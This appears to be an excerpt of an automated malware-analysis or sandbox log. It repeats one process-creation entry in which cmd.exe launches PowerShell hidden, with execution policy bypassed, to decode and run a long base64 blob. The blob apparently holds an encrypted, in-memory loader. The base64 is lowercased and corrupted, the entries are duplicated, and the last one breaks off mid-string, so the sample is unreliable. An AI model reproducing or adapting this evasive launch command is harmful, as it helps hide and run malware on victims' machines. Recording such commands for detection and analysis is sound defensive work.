"[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcjt9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pymply3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcefcq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0f
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcjt9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pymply3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcefcq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0f
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcjt9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pymply3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcefcq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0f
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcjt9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pymply3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcefcq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0f
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcjt9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pymply3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcefcq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0f
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcjt9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pymply3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcefcq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz